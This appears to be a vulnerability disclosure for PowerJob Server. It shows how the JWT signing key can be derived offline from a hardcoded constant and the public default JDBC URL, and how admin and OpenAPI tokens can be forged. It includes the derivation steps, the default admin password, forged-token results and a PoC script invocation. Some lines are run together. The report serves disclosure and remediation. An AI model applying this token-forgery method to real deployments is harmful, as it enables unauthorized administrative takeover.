
Demonstrates a critical JWT signing key predictability vulnerability in PowerJob Server, allowing offline key derivation and token forgery for admin takeover and OpenAPI authentication bypass.
The PowerJob Server's JWT (HS256) signing key is derived by BASE64-decoding a hardcoded constant concatenated with the MD5 of the default JDBC URL (DefaultSecretProvider / JwtServiceImpl). The JDBC URL is public in the default deployment (docker-compose / application-daily.properties), so an attacker can derive the key fully offline and forge a valid JWT for any user (including the admin); the OpenAPI App Token can likewise be forged to bypass OpenAPI authentication.
application-daily.properties exposes jdbc:mysql://powerjob-mysql:3306/powerjob-daily?... in plaintextpowerjob-server-auth/.../jwt/impl/DefaultSecretProvider.java:31-45: return md5(environment.getProperty("spring.datasource.core.jdbc-url"));powerjob-server-auth/.../jwt/impl/JwtServiceImpl.java:44-102: hardcoded BASE_SECURITY constant; genSecretKey(secret) = Decoders.BASE64.decode(BASE_SECURITY.concat(secret)) → Keys.hmacShaKeyForusername/encryptedToken) has a secondary check for PWJB accounts (DigestUtils.rePassword(password, username)), but:
appId/password/encryptType) can be forged directly to bypass authentication (OpenApiSecurityServiceImpl:87-105);Environment: local PowerJob server (127.0.0.1:7700, JDBC URL jdbc:mysql://127.0.0.1:3307/powerjob_daily?useUnicode=true&characterEncoding=UTF-8&serverTimezone=Asia/Shanghai&allowMultiQueries=true). The attacker derives everything offline from public information only:
# ① Derive encryptedToken (= rePassword(password, username)); computable with the default password
rePassword("powerjob_admin", "ADMIN")
= ADMIN_b82a450701f6a71723fb99931fe35e18_b # byte-for-byte equal to DB user_info.token_login_verify_info ✅
# ② Derive the HS256 signing key = BASE64(BASE_SECURITY + MD5(JDBC_URL))
secret = BASE_SECURITY + md5(jdbc_url) # 101-byte key
# ③ Forge an ADMIN web JWT (claims: username=PWJB_ADMIN, encryptedToken=result of ①, sub=PowerJob)
Actual result (forged token passes authentication):
[*] /namespace/list no token :
{"success":false,"data":null,"message":"PowerJobAuthException: UserNotLoggedIn","code":"-100"}
[*] /namespace/list forged JWT :
{"success":true,"data":{"index":0,"pageSize":10,"totalPages":1,"totalItems":1,"data":[{"id":1,"code":"default_namespace","name":"default_namespace","dept":null,"tags":null,"extra":null,"status":1,"statusStr":"ENABLE","gmtCreate":"2026-08-07T13:07:32.000+00:00","gmtCreateStr":"2026-08-07 21:07:32","gmtModified":"2026-08-07T13:07:32.000+00:00","gmtModifiedStr":"2026-08-07 21:07:32","showName":"default_namespace(default_namespace)","token":"14e4ebff-9a79-4845-ac66-8b20c4dff2ee","componentUserRoleInfo":{"observer":[],"qa":[],"developer":[],"admin":[]},"creatorShowName":null,"modifierShowName":null}]},"message":null}
→ the forged token authenticates as admin and returns real data (baseline is rejected with UserNotLoggedIn).
Key points:
encryptedToken matches the DB-stored value byte-for-byte (ADMIN_b82a450701f6a71723fb99931fe35e18_b).BASE_SECURITY + MD5 of the public default JDBC URL → derivable offline with no credentials.encryptedToken is recomputable offline with the default password (powerjob_admin, finding PJ-02) → full admin takeover.encryptedToken mismatch, but the OpenAPI App Token path (claims appId/password/encryptType, OpenApiSecurityServiceImpl:87-105) can still be forged independently to bypass OpenAPI authentication.Even if the default password is changed, the vulnerability persists through other attack vectors:
encryptedToken via other means (e.g., SQL injection, database backup exposure, log leakage, or information disclosure from other endpoints) can combine that token with the predictable signing key to forge a JWT for that specific user.encryptedToken mismatch issue entirely, because the forged token now contains a legitimate encryptedToken derived from the actual database record.PoC: powerjob_jwt_key.py 192.168.49.128:7700


encryptedToken secondary check for all accounts.CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N = 9.1 Critical (combined with the default password / OpenAPI)